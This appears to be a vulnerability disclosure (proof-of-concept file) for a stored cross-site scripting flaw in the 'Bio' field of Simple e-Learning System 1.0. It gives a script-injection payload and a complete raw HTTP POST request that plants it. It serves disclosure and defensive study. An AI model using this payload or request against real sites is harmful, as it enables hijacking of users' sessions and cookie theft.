POC.md

Title: Simple e-Learning System 1.0 Stored Cross-Site Scripting

Author: Shekhar Hussain (https://www.linkedin.com/in/shekharcharles)

Date: 13.07.2022

Vendor: https://www.sourcecodester.com/users/tips23

Software: https://www.sourcecodester.com/php-simple-e-learning-system-source-code

Version: 1.0

Reference: https://github.com/CyberThoth/CVE/blob/f65282f1f22b659a26efbd4c394999932d6cd834/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md

Description：

Simple e-Learning System is vulnerable to Stored cross-site scripting on the profile add deatils page. The "Bio" parameter in 'http://localhost/vcs/claire_blake' is vulnerable.

Impact:

An attacker could steal cookies with a crafted URL sent to the victims.

Payload used:

"><script>alert(document.cookie)</script>

POC

POST /vcs/claire_blake HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vcs/claire_blake
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=2vbf8fv8l1iaabtd45grgqt809
Connection: close

firstName=Claire&lastName=Blake&phoneNumber=2147483647&bio=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&profile-updateBtn=Update